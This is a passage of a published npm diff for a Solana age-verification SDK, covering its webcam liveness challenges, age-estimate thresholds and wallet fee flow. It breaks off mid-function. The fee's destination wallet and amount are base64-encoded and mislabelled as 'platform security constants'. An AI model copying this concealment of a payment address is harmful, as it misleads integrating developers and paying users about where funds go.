solana-age-verify-sdk 2.0.0-beta.2

package/dist/verify.js

@@ -0,0 +1,892 @@
+import { DEFAULT_CONFIG } from './types';
+import { Transaction, SystemProgram, LAMPORTS_PER_SOL, PublicKey, TransactionInstruction } from '@solana/web3.js';
+import { Camera } from './camera';
+import { computeFaceHash, generateSalt, toHex } from './hashing/facehash';
+import { generateChallengeSequence } from './liveness/challenges';
+// Default worker location - in production this might be different
+// @ts-ignore - Base64 encoded platform security constants
+const _P_S_C = {
+    t: "OUJLV3dwUG9WSHVIVXNqbzltdmRRNlBaWG5uc0FFd0NzVlRCMTJOWER0aGo=",
+    f: "MC4wMQ=="
+};
+const TREASURY_ADDRESS = atob(_P_S_C.t);
+const PROTOCOL_FEE_SOL = parseFloat(atob(_P_S_C.f));
+// Lazy getter to avoid top-level PublicKey construction before polyfills load
+let _memoProgramId = null;
+function getMemoProgramId() {
+    if (!_memoProgramId) {
+        _memoProgramId = new PublicKey('MemoSq4gqABAXib96qFbncnscymPme7yS4AtGf4Vb7');
+    }
+    return _memoProgramId;
+}
+export async function verifyHost18Plus(options) {
+    const config = { ...DEFAULT_CONFIG, ...options.config };
+    // Cooldown & Retry Check
+    const storageKey = `talkchain_verify_retries_${options.walletPubkeyBase58}`;
+    const cooldownKey = `talkchain_verify_cooldown_${options.walletPubkeyBase58}`;
+    const now = Date.now();
+    const cooldownUntil = parseInt(localStorage.getItem(cooldownKey) || '0');
+    const currentRetries = parseInt(localStorage.getItem(storageKey) || '0');
+    const cooldownCountKey = `talkchain_verify_cooldown_count_${options.walletPubkeyBase58}`;
+    const currentCooldownCount = parseInt(localStorage.getItem(cooldownCountKey) || '0');
+    if (cooldownUntil > now) {
+        const remainingSec = Math.ceil((cooldownUntil - now) / 1000);
+        const remainingMin = Math.ceil(remainingSec / 60);
+        if (options.uiMountEl) {
+            options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; display: flex; flex-direction: column; align-items: center; justify-content: center; background: #0f172a; font-family: sans-serif; color: white; text-align: center; padding: 20px;">
+                    <div style="font-size: 48px; margin-bottom: 20px;">⏳</div>
+                    <div style="font-size: 24px; font-weight: 700; margin-bottom: 12px;">Security Cooldown</div>
+                    <div style="font-size: 16px; color: #94a3b8; line-height: 1.6;">
+                        Too many failed attempts. <br>
+                        Please wait <b>${remainingMin} minute${remainingMin > 1 ? 's' : ''}</b> before trying again.
+                    </div>
+                </div>
+            `;
+        }
+        throw new Error(`Cooldown active. Try again in ${remainingMin} minutes.`);
+    }
+    const camera = new Camera(options.videoElement);
+    const salt = generateSalt();
+    const sessionNonce = generateSalt();
+    // 1. Pre-flight Balance Check
+    if (options.wallet && options.connection) {
+        try {
+            const balance = await options.connection.getBalance(options.wallet.publicKey);
+            const requiredBytes = PROTOCOL_FEE_SOL * LAMPORTS_PER_SOL;
+            const gasBuffer = 0.0005 * LAMPORTS_PER_SOL; // Small buffer for transaction fee
+            if (balance < (requiredBytes + gasBuffer)) {
+                const balanceSol = balance / LAMPORTS_PER_SOL;
+                const neededSol = (requiredBytes + gasBuffer) / LAMPORTS_PER_SOL;
+                if (options.uiMountEl) {
+                    options.uiMountEl.innerHTML = `
+                        <div style="position: relative; height: 100%; width: 100%; display: flex; flex-direction: column; align-items: center; justify-content: center; background: #0f172a; font-family: sans-serif; color: white; text-align: center; padding: 40px;">
+                            <div style="font-size: 48px; margin-bottom: 24px;">💰</div>
+                            <div style="font-size: 24px; font-weight: 700; margin-bottom: 16px;">Insufficient Balance</div>
+                            <div style="font-size: 16px; color: #94a3b8; line-height: 1.6; max-width: 320px;">
+                                You need at least <b>${neededSol.toFixed(4)} SOL</b> to cover the protocol fee and transaction costs.<br><br>
+                                <span style="font-size: 14px; opacity: 0.8;">Current Balance: ${balanceSol.toFixed(4)} SOL</span>
+                            </div>
+                            <button onclick="window.location.reload()" style="margin-top: 32px; padding: 12px 24px; background: #3b82f6; border: none; border-radius: 12px; color: white; font-weight: 600; cursor: pointer;">
+                                Reload & Try Again
+                            </button>
+                        </div>
+                    `;
+                }
+                throw new Error(`Insufficient balance. Found ${balanceSol.toFixed(4)} SOL, need ~${neededSol.toFixed(4)} SOL.`);
+            }
+        }
+        catch (e) {
+            if (e.message.includes('Insufficient balance'))
+                throw e;
+            console.warn('Pre-flight balance check failed (network error), continuing...', e);
+        }
+    }
+    await camera.start();
+    let worker;
+    if (options.workerFactory) {
+        worker = options.workerFactory();
+    }
+    else {
+        // Attempt default resolution - split string to avoid some bundlers eagerly resolving
+        const pkgName = 'solana-age-verify-worker';
+        worker = new Worker(new URL(pkgName, import.meta.url), { type: 'module' });
+    }
+    // Helper to send/receive from worker
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const sendToWorker = (req, timeoutMs = 30000) => {
+        return new Promise((resolve, reject) => {
+            const timeout = setTimeout(() => {
+                worker.removeEventListener('message', handler);
+                worker.removeEventListener('error', errorHandler);
+                reject(new Error(`Worker request ${req.type} timed out`));
+            }, timeoutMs);
+            const errorHandler = (e) => {
+                clearTimeout(timeout);
+                worker.removeEventListener('message', handler);
+                worker.removeEventListener('error', errorHandler);
+                reject(new Error(`Worker Error: ${e.message}`));
+            };
+            const handler = (e) => {
+                const { type, payload, error } = e.data;
+                if (type === 'ERROR') {
+                    clearTimeout(timeout);
+                    worker.removeEventListener('message', handler);
+                    worker.removeEventListener('error', errorHandler);
+                    reject(new Error(error));
+                }
+                // Simple request-response matching for this linear flow
+                if (type === 'LOADED' && req.type === 'LOAD_MODELS') {
+                    clearTimeout(timeout);
+                    worker.removeEventListener('message', handler);
+                    worker.removeEventListener('error', errorHandler);
+                    resolve(true);
+                }
+                if (type === 'RESULT' && req.type === 'PROCESS_FRAME') {
+                    clearTimeout(timeout);
+                    worker.removeEventListener('message', handler);
+                    worker.removeEventListener('error', errorHandler);
+                    resolve(payload);
+                }
+            };
+            worker.addEventListener('message', handler);
+            worker.addEventListener('error', errorHandler);
+            worker.postMessage(req);
+        });
+    };
+    if (options.signal?.aborted) {
+        worker.terminate();
+        await camera.stop();
+        throw new Error('Aborted');
+    }
+    try {
+        // Show introductory messages
+        const showIntroductoryMessages = async () => {
+            if (!options.uiMountEl)
+                return;
+            // Premium Design Styles - transparent to show video behind
+            const commonStyles = `
+                font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
+                background: rgba(15, 23, 42, 0.85);
+                color: #f8fafc;
+            `;
+            const cardStyle = `
+                background: rgba(255, 255, 255, 0.03);
+                backdrop-filter: blur(16px);
+                border: 1px solid rgba(255, 255, 255, 0.08);
+                border-radius: 24px;
+                padding: 48px;
+                box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5);
+                max-width: 500px;
+                width: 90%;
+                text-align: center;
+                animation: fadeInOut 2s ease-in-out forwards;
+            `;
+            // First message
+            options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; ${commonStyles}">
+                    <div style="${cardStyle}">
+                        <div style="font-size: 32px; font-weight: 700; background: linear-gradient(to right, #60a5fa, #a78bfa); -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin-bottom: 24px; letter-spacing: -0.02em;">
+                            Age Verification
+                        </div>
+                        <div style="font-size: 18px; color: #cbd5e1; line-height: 1.6; font-weight: 400;">
+                            You must be an adult to use this service.<br>
+                            Your privacy is preserved.
+                        </div>
+                    </div>
+                </div>
+                <style>
+                    @keyframes fadeInOut {
+                        0% { opacity: 0; transform: translateY(10px) scale(0.95); }
+                        15% { opacity: 1; transform: translateY(0) scale(1); }
+                        85% { opacity: 1; transform: translateY(0) scale(1); }
+                        100% { opacity: 0; transform: translateY(-10px) scale(0.95); }
+                    }
+                </style>
+            `;
+            await new Promise(r => setTimeout(r, 2200));
+            // Second message
+            options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; ${commonStyles}">
+                    <div style="${cardStyle}">
+                        <div style="font-size: 20px; font-weight: 600; color: #f8fafc; margin-bottom: 20px;">
+                            We do this once
+                        </div>
+                        <div style="font-size: 16px; color: #94a3b8; line-height: 1.6;">
+                            Results are cryptographically secured on the blockchain. <br>
+                            <span style="color: #64748b; font-size: 14px; display: block; margin-top: 12px;">(Minimal transaction fee applies)</span>
+                        </div>
+                    </div>
+                    <!-- Powered By Branding -->
+                    <div style="position: absolute; bottom: 32px; font-size: 12px; color: #475569; letter-spacing: 0.05em; font-weight: 600; text-transform: uppercase;">
+                        Powered by <span style="color: #60a5fa;">TalkChain</span> Verify
+                    </div>
+                </div>
+            `;
+            await new Promise(r => setTimeout(r, 2200));
+        };
+        await showIntroductoryMessages();
+        // Load Models
+        if (options.onChallenge)
+            options.onChallenge('Loading models...');
+        // Show loading screen
+        if (options.uiMountEl) {
+            options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; background: rgba(15, 23, 42, 0.85);">
+                    <div style="max-width: 600px; padding: 40px; text-align: center; animation: fadeIn 0.5s ease-out;">
+                        <div style="font-size: 24px; font-weight: 600; background: linear-gradient(to right, #e2e8f0, #94a3b8); -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin-bottom: 32px; letter-spacing: -0.01em;">
+                            Initializing Neural Engine...
+                        </div>
+                        <div style="width: 240px; height: 4px; background: rgba(255,255,255,0.1); border-radius: 2px; overflow: hidden; margin: 0 auto; position: relative;">
+                            <div style="position: absolute; top: 0; left: 0; height: 100%; width: 100%; background: linear-gradient(90deg, transparent, #3b82f6, transparent); animation: shimmer 1.5s infinite;">
+                            </div>
+                        </div>
+                    </div>
+                </div>
+                <style>
+                    @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
+                    @keyframes shimmer { 0% { transform: translateX(-100%); } 100% { transform: translateX(100%); } }
+                </style>
+            `;
+        }
+        await sendToWorker({
+            type: 'LOAD_MODELS',
+            payload: { basePath: options.modelPath || '/models' }
+        });
+        if (options.onChallenge)
+            options.onChallenge('Neural engine initialized.');
+        const startTime = Date.now();
+        const challengeResults = [];
+        let ageEstimateAccumulator = 0;
+        let ageEstimateCount = 0;
+        let ageConfidenceAccumulator = 0;
+        let ageConfidenceCount = 0;
+        let embedding = [];
+        let livenessAccumulator = 0;
+        let textureScoreAccumulator = 0;
+        let textureAnalysisCount = 0;
+        let lastTextureFeatures = undefined;
+        let ageMethod = 'unknown';
+        let ageConfidence = 0;
+        // Challenge Loop
+        // Audio Feedback
+        // Map challenge types to user-friendly instructions
+        const getChallengeInstruction = (type) => {
+            const instructions = {
+                'turn_left': 'Turn your head left slowly until you hear a beep. Hold for a second beep.',
+                'turn_right': 'Turn your head right slowly until you hear a beep. Hold for a second beep.',
+                'look_up': 'Look up slowly until you hear a beep. Hold for the second beep.',
+                'look_down': 'Look down slowly until you hear a beep. Hold for the second beep.',
+                'nod_yes': "Nod your head 'yes' until you hear a beep.",
+                'shake_no': "Shake your head 'no' until you hear a beep."
+            };
+            return instructions[type] || type.replace('_', ' ').toUpperCase();
+        };
+        const playBeep = (freq, duration) => {
+            console.log(`Audio Feedback: Playing beep at ${freq}Hz for ${duration}ms`);
+            try {
+                const ctx = new (window.AudioContext || window.webkitAudioContext)();
+                const osc = ctx.createOscillator();
+                const gain = ctx.createGain();
+                osc.type = 'sine';
+                osc.frequency.setValueAtTime(freq, ctx.currentTime);
+                gain.gain.setValueAtTime(0.1, ctx.currentTime);
+                osc.connect(gain);
+                gain.connect(ctx.destination);
+                osc.start();
+                osc.stop(ctx.currentTime + duration / 1000);
+                setTimeout(() => ctx.close(), duration + 500);
+            }
+            catch (e) {
+                console.warn('Audio feedback failed', e);
+            }
+        };
+        const updateHUD = (currentIdx, currentProgress = 0) => {
+            if (!options.uiMountEl)
+                return;
+            const currentType = challengeQueue[currentIdx];
+            // Get user-friendly instruction for current challenge
+            const instruction = getChallengeInstruction(currentType);
+            options.uiMountEl.innerHTML = `
+                <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; font-family: -apple-system, system-ui, sans-serif;">
+                    
+                    <!-- Premium Face Guide -->
+                    <div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; height: 400px; border-radius: 50% 50% 50% 50% / 60% 60% 40% 40%; border: 2px solid rgba(255,255,255,0.15); box-shadow: 0 0 0 9999px rgba(3, 7, 18, 0.85), inset 0 0 40px rgba(0,0,0,0.5); pointer-events: none;">
+                        <!-- Scanning Line Animation -->
+                        <div style="position: absolute; width: 100%; height: 2px; background: linear-gradient(90deg, transparent, #60a5fa, transparent); top: 50%; animation: scan 3s ease-in-out infinite alternate; opacity: 0.5;"></div>
+                        <!-- Corner Markers -->
+                        <div style="position: absolute; top: 20px; left: 20px; width: 20px; height: 20px; border-top: 2px solid #60a5fa; border-left: 2px solid #60a5fa; border-radius: 4px 0 0 0;"></div>
+                        <div style="position: absolute; top: 20px; right: 20px; width: 20px; height: 20px; border-top: 2px solid #60a5fa; border-right: 2px solid #60a5fa; border-radius: 0 4px 0 0;"></div>
+                        <div style="position: absolute; bottom: 20px; left: 20px; width: 20px; height: 20px; border-bottom: 2px solid #60a5fa; border-left: 2px solid #60a5fa; border-radius: 0 0 0 4px;"></div>
+                        <div style="position: absolute; bottom: 20px; right: 20px; width: 20px; height: 20px; border-bottom: 2px solid #60a5fa; border-right: 2px solid #60a5fa; border-radius: 0 0 4px 0;"></div>
+                    </div>
+
+                    <!-- Instruction & Results Container -->
+                    <div style="z-index: 20; display: flex; flex-direction: column; align-items: center; justify-content: flex-end; height: 100%; padding-bottom: 60px; width: 100%;">
+                        
+                        <!-- Main Instruction -->
+                        <div style="background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(12px); padding: 16px 32px; borderRadius: 40px; border: 1px solid rgba(255,255,255,0.1); margin-bottom: 24px; box-shadow: 0 10px 25px rgba(0,0,0,0.3); transform: translateY(0); transition: all 0.3s ease;">
+                            <div style="font-size: 18px; font-weight: 500; color: #fff; text-align: center; letter-spacing: 0.01em; text-shadow: 0 1px 2px rgba(0,0,0,0.5);">
+                                ${instruction}
+                            </div>
+                        </div>
+                        
+                        <!-- Progress Bar -->
+                        <div style="width: 200px; height: 6px; background: rgba(255,255,255,0.15); border-radius: 3px; margin-bottom: 20px; overflow: hidden; position: relative;">
+                            <div style="position: absolute; left: 0; top: 0; height: 100%; width: ${currentProgress}%; background: linear-gradient(90deg, #3b82f6, #60a5fa); transition: width 0.2s cubic-bezier(0.4, 0, 0.2, 1); box-shadow: 0 0 10px rgba(59, 130, 246, 0.5);"></div>
+                        </div>
+
+                        <!-- Checklist -->
+                        <div style="display: flex; gap: 8px; flex-wrap: wrap; justify-content: center; max-width: 600px;">
+                            ${challengeQueue.map((c, idx) => {
+                const s = challengesStatus[idx];
+                const isPassed = s === 'passed';
+                const isCurrent = idx === currentIdx;
+                const opacity = isPassed || isCurrent ? '1' : '0.5';
+                const bgColor = isPassed ? 'rgba(34, 197, 94, 0.2)' : (isCurrent ? 'rgba(59, 130, 246, 0.1)' : 'rgba(255,255,255,0.05)');
+                const borderColor = isPassed ? '#22c55e' : (isCurrent ? '#3b82f6' : 'rgba(255,255,255,0.1)');
+                const icon = isPassed ? '✓' : '';
+                const label = c.replace('_', ' ').toUpperCase();
+                return `
+                                <div style="display: flex; align-items: center; gap: 6px; padding: 6px 12px; background: ${bgColor}; border: 1px solid ${borderColor}; border-radius: 20px; font-size: 11px; font-weight: 600; color: ${isPassed ? '#4ade80' : 'rgba(255,255,255,0.8)'}; opacity: ${opacity}; transition: all 0.3s;">
+                                    ${isPassed ? `<span>${icon}</span>` : ''}
+                                    <span>${label}</span>
+                                </div>`;
+            }).join('')}
+                        </div>
+                        
+                        <!-- Powered By Branding -->
+                        <div style="margin-top: 32px; font-size: 11px; color: #475569; letter-spacing: 0.1em; font-weight: 700; text-transform: uppercase; pointer-events: none;">
+                            Powered by <span style="color: #3b82f6;">TalkChain</span> Verify
+                        </div>
+                    </div>
+                </div>
+                <style>
+                    @keyframes scan { 
+                        0% { top: 30%; opacity: 0; } 
+                        50% { opacity: 0.5; }
+                        100% { top: 70%; opacity: 0; } 
+                    }
+                </style>
+            `;
+        };
+        const checkChallenge = (type, res) => {
+            if (!res.faceFound || !res.landmarks || res.landmarks.length < 18)
+                return false;
+            const eyeR = { x: res.landmarks[0], y: res.landmarks[1] };
+            const eyeL = { x: res.landmarks[3], y: res.landmarks[4] };
+            const nose = { x: res.landmarks[6], y: res.landmarks[7] };
+            const eyeMidX = (eyeR.x + eyeL.x) / 2;
+            const eyeMidY = (eyeR.y + eyeL.y) / 2;
+            // Robust eye distance
+            const eyeDist = Math.sqrt(Math.pow(eyeR.x - eyeL.x, 2) + Math.pow(eyeR.y - eyeL.y, 2));
+            const diffX = nose.x - eyeMidX;
+            const diffY = nose.y - eyeMidY;
+            // Thresholds & Sensitivity
+            const isGesture = type === 'nod_yes' || type === 'shake_no';
+            // "Shake" requires less rotation than a full "Turn Left" command to be ergonomic
+            // "Nod" requires less vertical extension than "Look Up"
+            const turnMult = isGesture ? 0.2 : 0.3;
+            // For gestures, we make the thresholds "closer to neutral" (easier to trigger)
+            // Static UP is < 0.35, Gesture UP is < 0.40 (easier)
+            // Static DOWN is > 0.45, Gesture DOWN is > 0.42 (easier)
+            const upMult = isGesture ? 0.40 : 0.35;
+            const downMult = isGesture ? 0.42 : 0.45;
+            const turnThreshold = eyeDist * turnMult;
+            const upThreshold = eyeDist * upMult;
+            const downThreshold = eyeDist * downMult;
+            // State helpers for gestures
+            const isLeft = diffX > turnThreshold;
+            const isRight = diffX < -turnThreshold;
+            const isUp = diffY < upThreshold; // diffY is smaller than threshold (closer to eyes)
+            const isDown = diffY > downThreshold; // diffY is larger than threshold (further from eyes)
+            // Debug ratios for tuning (throttle)
+            if (Math.random() < 0.01) {
+                console.log(`Liveness: ${type} (isGesture=${isGesture})`, {
+                    diffY_Ratio: (diffY / eyeDist).toFixed(3),
+                    diffX_Ratio: (diffX / eyeDist).toFixed(3),
+                    upThresh: upMult,
+                    downThresh: downMult,
+                    currentPose: isLeft ? 'left' : (isRight ? 'right' : (isUp ? 'up' : (isDown ? 'down' : 'center')))
+                });
+            }
+            // Static Challenges
+            if (type === 'turn_left')
+                return isLeft;
+            if (type === 'turn_right')
+                return isRight;
+            if (type === 'look_up')
+                return isUp;
+            if (type === 'look_down')
+                return isDown;
+            // Dynamic Gestures (stateful)
+            const state = res.gestureState || { sequence: [], seenPoses: new Set() };
+            const currentPose = isLeft ? 'left' : (isRight ? 'right' : (isUp ? 'up' : (isDown ? 'down' : 'center')));
+            // Update Sequence (Transitions only)
+            if (state.sequence.length === 0 || state.sequence[state.sequence.length - 1] !== currentPose) {
+                state.sequence.push(currentPose);
+                if (state.sequence.length > 50)
+                    state.sequence.shift(); // Larger buffer
+            }
+            // Update Latch State (Remember we saw this pose in this attempt)
+            if (state.seenPoses && state.seenPoses.add) {
+                state.seenPoses.add(currentPose);
+            }
+            if (type === 'nod_yes') {
+                // Traditional nod: seen both UP and DOWN
+                if (state.seenPoses.has('up') && state.seenPoses.has('down'))
+                    return true;
+                // "Lower and Straighten" nod: User lowers head (down) and returns to neutral (center)
+                // We check the sequence for a [..., 'down', 'center'] transition
+                if (state.sequence.length >= 2) {
+                    const lastPose = state.sequence[state.sequence.length - 1];
+                    const prevPose = state.sequence[state.sequence.length - 2];
+                    if (prevPose === 'down' && lastPose === 'center')
+                        return true;
+                }
+                // Multiple downward nods: User does multiple downs
+                const downCount = state.sequence.filter((p) => p === 'down').length;
+                if (downCount >= 2)
+                    return true;
+                return false;
+            }
+            if (type === 'shake_no') {
+                if (state.seenPoses) {
+                    return state.seenPoses.has('left') && state.seenPoses.has('right');
+                }
+                return state.sequence.includes('left') && state.sequence.includes('right');
+            }
+            return false;
+        };
+        // Initialize Dynamic Queue
+        // Use config challenges if provided, else generate random sequence
+        const challengeQueue = (config.challenges && config.challenges.length > 0)
+            ? [...config.challenges]
+            : generateChallengeSequence();
+        // Update status map to use actual queue length and match types
+        const challengesStatus = challengeQueue.map(() => 'pending');
+        let penaltyAdded = false;
+        // Process queue
+        let queueIndex = 0;
+        // Safety break
+        while (queueIndex < challengeQueue.length) {
+            const challengeType = challengeQueue[queueIndex];
+            if (Date.now() - startTime > config.timeoutMs)
+                throw new Error('Timeout');
+            if (options.signal?.aborted)
+                throw new Error('Aborted');
+            let passed = false;
+            let retries = 0;
+            const maxRetries = 1;
+            while (!passed && retries <= maxRetries) {
+                if (retries > 0) {
+                    updateHUD(queueIndex, 0); // Still show the type but tied to index
+                    await new Promise(r => setTimeout(r, 1000));
+                }
+                if (options.onChallenge)
+                    options.onChallenge(challengeType);
+                updateHUD(queueIndex, 0);
+                let attempts = 0;
+                let consecutivePassed = 0;
+                let startBeepPlayed = false;
+                let gestureStartBeepPlayed = false;
+                const requiredConsecutive = (challengeType === 'nod_yes' || challengeType === 'shake_no') ? 10 : 15;
+                // Reset gesture state for this attempt
+                const gestureState = { sequence: [], seenPoses: new Set() };
+                while (!passed && attempts < 150) {
+                    const frame = camera.captureFrame();
+                    const res = await sendToWorker({ type: 'PROCESS_FRAME', payload: frame });
+                    // Inject state for stateful checks
+                    res.gestureState = gestureState;
+                    // Capture texture analysis if available
+                    if (res.textureScore !== undefined) {
+                        textureScoreAccumulator += res.textureScore;
+                        textureAnalysisCount++;
+                        if (res.textureFeatures) {
+                            lastTextureFeatures = res.textureFeatures;
+                        }
+                    }
+                    if (res.ageEstimate !== undefined && res.ageEstimate > 0) {
+                        // Weighted average based on age confidence if available, else face confidence
+                        const weight = res.ageConfidence || res.confidence || 1.0;
+                        ageEstimateAccumulator += res.ageEstimate * weight;
+                        ageEstimateCount += weight;
+                        if (res.ageConfidence !== undefined) {
+                            ageConfidenceAccumulator += res.ageConfidence;
+                            ageConfidenceCount++;
+                        }
+                        else if (res.confidence !== undefined) {
+                            // Fallback to face detection confidence for geometric/demo path
+                            ageConfidenceAccumulator += res.confidence;
+                            ageConfidenceCount++;
+                        }
+                        if (res.embedding)
+                            embedding = res.embedding;
+                    }
+                    if (res.ageMethod)
+                        ageMethod = res.ageMethod;
+                    // GESTURE PROGRESS FEEDBACK AND AUDIO
+                    if ((challengeType === 'nod_yes' || challengeType === 'shake_no') && gestureState.seenPoses) {
+                        // Audio Feedback removed for start of gesture to simplify instruction
+                        // (User is now told to nod/shake UNTIL they hear a beep)
+                        if (gestureState.seenPoses.size > 0 && !gestureStartBeepPlayed) {
+                            // playBeep(440, 100);
+                            gestureStartBeepPlayed = true;
+                        }
+                        // Visual Feedback
+                        if (challengeType === 'nod_yes') {
+                            if (gestureState.seenPoses.has('up') && !gestureState.seenPoses.has('down')) {
+                                updateHUD(queueIndex, 50);
+                            }
+                            else if (gestureState.seenPoses.has('down') && !gestureState.seenPoses.has('up')) {
+                                updateHUD(queueIndex, 50);
+                            }
+                        }
+                        if (challengeType === 'shake_no') {
+                            if (gestureState.seenPoses.has('left') && !gestureState.seenPoses.has('right')) {
+                                updateHUD(queueIndex, 50);
+                            }
+                            else if (gestureState.seenPoses.has('right') && !gestureState.seenPoses.has('left')) {
+                                updateHUD(queueIndex, 50);
+                            }
+                        }
+                    }
+                    if (checkChallenge(challengeType, res)) {
+                        consecutivePassed++;
+                        if (consecutivePassed === 1 && !startBeepPlayed) {
+                            playBeep(440, 100);
+                            startBeepPlayed = true;
+                        }
+                        const progress = Math.min(100, (consecutivePassed / requiredConsecutive) * 100);
+                        updateHUD(queueIndex, progress);
+                        if (consecutivePassed >= requiredConsecutive) {
+                            passed = true;
+                            playBeep(880, 100);
+                            livenessAccumulator += 1.0;
+                            // Capture evidence
+                            if (res.embedding)
+                                embedding = res.embedding;
+                        }
+                    }
+                    else {
+                        if (challengeType !== 'nod_yes' && challengeType !== 'shake_no') {
+                            consecutivePassed = 0;
+                            startBeepPlayed = false;
+                            updateHUD(queueIndex, 0);
+                        }
+                        // For gestures, we don't reset consecutivePassed on failure frames, we just wait for sequence completion
+                        await new Promise(r => setTimeout(r, 100)); // lighter loop
+                    }
+                    attempts++;
+                }
+                if (!passed)
+                    retries++;
+            }
+            if (!passed) {
+                challengesStatus[queueIndex] = 'failed';
+                challengeResults.push({ type: challengeType, passed: false, score: 0 });
+                // PENALTY LOGIC
+                if (!penaltyAdded) {
+                    const penaltyChallenge = generateChallengeSequence(1)[0];
+                    console.log(`Adding penalty challenge: ${penaltyChallenge}`);
+                    challengeQueue.push(penaltyChallenge);
+                    challengesStatus.push('pending'); // Add new status slot for penalty
+                    penaltyAdded = true;
+                    // Provide feedback
+                    updateHUD(queueIndex, 0);
+                    await new Promise(r => setTimeout(r, 1500));
+                }
+                // If it was already a penalty step or max penalties reached, we treat this as a fail,
+                // BUT we continue to the next one? Or stop?
+                // Usually liveness fails if too many fail.
+                // Let's count total failures. 
+                // If we fail > 1 challenge (original + penalty), liveness score will tank.
+            }
+            else {
+                challengesStatus[queueIndex] = 'passed';
+                challengeResults.push({ type: challengeType, passed: true, score: 1.0 });
+                updateHUD(queueIndex, 100);
+                await new Promise(r => setTimeout(r, 800));
+            }
+            // 15 Frame Pause in between challenges
+            if (queueIndex < challengeQueue.length - 1) {
+                console.log('Pause between challenges: Capturing 15 buffer frames');
+                for (let i = 0; i < 15; i++) {
+                    const frame = camera.captureFrame();
+                    await sendToWorker({ type: 'PROCESS_FRAME', payload: frame });
+                    await new Promise(r => setTimeout(r, 50)); // ~20fps pace for pause
+                }
+            }
+            queueIndex++;
+        }
+        // Calculate average age estimate across all frames
+        const ageEstimate = ageEstimateCount > 0
+            ? ageEstimateAccumulator / ageEstimateCount
+            : 0;
+        ageConfidence = ageConfidenceCount > 0
+            ? ageConfidenceAccumulator / ageConfidenceCount
+            : 0;
+        // Calculate Score based on total challenges attempted
+        const livenessScore = livenessAccumulator / challengeQueue.length;
+        // Calculate average texture score
+        const avgTextureScore = textureAnalysisCount > 0
+            ? textureScoreAccumulator / textureAnalysisCount
+            : undefined;
+        const isAgeValid = ageEstimate >= config.minAgeEstimate;
+        const isLivenessValid = livenessScore >= config.minLivenessScore;
+        const isConfidenceValid = ageConfidence >= config.minAgeConfidence;
+        // DEBUG LOGGING
+        console.log('═══════════════════════════════════════════');
+        console.log('VERIFICATION VALIDATION SUMMARY');
+        console.log('═══════════════════════════════════════════');
+        console.log(`Age Estimate: ${ageEstimate.toFixed(1)} (threshold: ${config.minAgeEstimate}) → ${isAgeValid ? '✓ PASS' : '✗ FAIL'}`);
+        console.log(`Age Confidence: ${(ageConfidence * 100).toFixed(1)}% (threshold: ${config.minAgeConfidence * 100}%) → ${isConfidenceValid ? '✓ PASS' : '✗ FAIL'}`);
+        console.log(`Liveness Score: ${(livenessScore * 100).toFixed(1)}% (threshold: ${config.minLivenessScore * 100}%) → ${isLivenessValid ? '✓ PASS' : '✗ FAIL'}`);
+        console.log(`Age Method: ${ageMethod}`);
+        console.log(`Frames with age data: ${ageEstimateCount.toFixed(0)}`);
+        console.log('═══════════════════════════════════════════');
+        let isOver18 = isAgeValid && isLivenessValid && isConfidenceValid;
+        let failureReason = '';
+        if (!isOver18) {
+            if (!isAgeValid)
+                failureReason = `Estimated age (${Math.round(ageEstimate)}) is below the required ${config.minAgeEstimate}.`;
+            else if (!isLivenessValid)
+                failureReason = 'Liveness detection failed.';
+            else if (!isConfidenceValid)
+                failureReason = 'Age estimation confidence too low.';
+            console.log(`FAILURE REASON: ${failureReason}`);
+        }
+        else {
+            console.log('✓ ALL CHECKS PASSED');
+        }
+        const verifiedAt = new Date().toISOString();
+        // PROTOCOL FEE (MONETIZATION) & ON-CHAIN PROOF
+        let protocolFeePaid = false;
+        let protocolFeeTxId = '';
+        let facehash = ''; // Only computed if wallet signs
+        // Strike 3 of session 3 = 9th fail
+        const isFinalStrike = (currentCooldownCount >= 2 && (currentRetries + 1) >= config.maxRetries);
+        const shouldWriteOnChain = isOver18 || isFinalStrike;
+        // Record on chain ONLY if wallet is present and user signs
+        if (shouldWriteOnChain && options.wallet && options.connection) {
+            if (options.uiMountEl) {
+                options.uiMountEl.innerHTML = `
+                    <div style="position: relative; height: 100%; width: 100%; pointer-events: none; display: flex; flex-direction: column; align-items: center; justify-content: center; background: rgba(15, 23, 42, 0.85); font-family: -apple-system, system-ui, sans-serif;">
+                        <div style="max-width: 500px; padding: 48px; text-align: center; background: rgba(255,255,255,0.03); backdrop-filter: blur(16px); border-radius: 24px; border: 1px solid rgba(255,255,255,0.1); color: white;">
+                             <div style="font-size: 48px; margin-bottom: 24px;">💳</div>
+                             <div style="font-size: 24px; font-weight: 700; margin-bottom: 16px;">Protocol Fee Required</div>
+                             <div style="font-size: 16px; color: #94a3b8; line-height: 1.6; margin-bottom: 32px;">
+                                To record your verification on-chain, a minimal protocol fee of <b>${PROTOCOL_FEE_SOL} SOL</b> is required.<br>
+                                Please approve the transaction in your wallet.
+                             </div>
+                             <div style="display: flex; align-items: center; justify-content: center; gap: 12px; color: #60a5fa; font-weight: 600;">
+                                <div style="width: 16px; height: 16px; border: 2px solid #60a5fa; border-top-color: transparent; border-radius: 50%; animation: spin 1s linear infinite;"></div>
+                                Waiting for signature...
+                             </div>
+                        </div>
+                    </div>
+                    <style>
+                        @keyframes spin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
+                    </style>
+                `;
+            }
+            try {
+                const treasury = new PublicKey(TREASURY_ADDRESS);
+                const fromPubkey = options.wallet.publicKey;
+                // ONLY compute facehash right before signing - ensures it's tied to wallet consent
